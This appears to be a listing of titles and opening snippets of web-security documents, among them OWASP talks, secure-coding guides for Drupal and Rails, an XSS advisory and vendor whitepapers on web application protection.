BASELINE SECURITY TEST PLAN FOR EDUCATIONAL WEB AND MOBILE APPLICATIONS
BASELINE SECURITY TEST PLAN FOR EDUCATIONAL WEB AND MOBILE APPLICATIONS Published by Tony Porterfield Feb 1, 2015. Overview The intent of this test plan is to evaluate a baseline set of data security practices
Data Breaches and Web Servers: The Giant Sucking Sound
Data Breaches and Web Servers: The Giant Sucking Sound Guy Helmer CTO, Palisade Systems, Inc. Lecturer, Iowa State University @ghelmer Session ID: DAS-204 Session Classification: Intermediate The Giant
OWASP Top Ten Tools and Tactics
OWASP Top Ten Tools and Tactics Russ McRee Copyright 2012 HolisticInfoSec.org SANSFIRE 2012 10 JULY Welcome Manager, Security Analytics for Microsoft Online Services Security & Compliance Writer (toolsmith),
Security features of ZK Framework
1 Security features of ZK Framework This document provides a brief overview of security concerns related to JavaScript powered enterprise web application in general and how ZK built-in features secures
Hack-proof Your Drupal App. Key Habits of Secure Drupal Coding
Hack-proof Your Drupal App Key Habits of Secure Drupal Coding DrupalCamp CT 2010 My Modules Introductions Erich Beyrent http://twitter.com/ebeyrent http://drupal.org/user/23897 Permissions API Search Lucene
Ruby on Rails Secure Coding Recommendations
Introduction Altius IT s list of Ruby on Rails Secure Coding Recommendations is based upon security best practices. This list may not be complete and Altius IT recommends this list be augmented with additional
SECURITY ADVISORY. December 2008 Barracuda Load Balancer admin login Cross-site Scripting
SECURITY ADVISORY December 2008 Barracuda Load Balancer admin login Cross-site Scripting Discovered in December 2008 by FortConsult s Security Research Team/Jan Skovgren WARNING NOT FOR DISCLOSURE BEFORE
A Tale of the Weaknesses of Current Client-side XSS Filtering
A Tale of the Weaknesses of Current Client-side XSS Filtering Sebastian Lekies (@sebastianlekies), Ben Stock (@kcotsneb) and Martin Johns (@datenkeller) Attention hackers! These slides are preliminary!
Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh
Web applications Web security: web basics Myrto Arapinis School of Informatics University of Edinburgh HTTP March 19, 2015 Client Server Database (HTML, JavaScript) (PHP) (SQL) 1 / 24 2 / 24 URLs HTTP
Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008
Detecting Web Application Vulnerabilities Using Open Source Means OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008 Kostas Papapanagiotou Committee Member OWASP Greek Chapter conpap@owasp.gr
THE SMARTEST WAY TO PROTECT WEBSITES AND WEB APPS FROM ATTACKS
THE SMARTEST WAY TO PROTECT WEBSITES AND WEB APPS FROM ATTACKS INCONVENIENT STATISTICS 70% of ALL threats are at the Web application layer. Gartner 73% of organizations have been hacked in the past two
Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks. Whitepaper
Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks Whitepaper The security industry has extensively focused on protecting against malicious injection attacks like
Web application security Executive brief Managing a growing threat: an executive s guide to Web application security.
Web application security Executive brief Managing a growing threat: an executive s guide to Web application security. Danny Allan, strategic research analyst, IBM Software Group Contents 2 Introduction
Annex B - Content Management System (CMS) Qualifying Procedure
Page 1 DEPARTMENT OF Version: 1.5 Effective: December 18, 2014 Annex B - Content Management System (CMS) Qualifying Procedure This document is an annex to the Government Web Hosting Service (GWHS) Memorandum
Cross Site Scripting (XSS) and PHP Security. Anthony Ferrara NYPHP and OWASP Security Series June 30, 2011
Cross Site Scripting (XSS) and PHP Security Anthony Ferrara NYPHP and OWASP Security Series June 30, 2011 What Is Cross Site Scripting? Injecting Scripts Into Otherwise Benign and Trusted Browser Rendered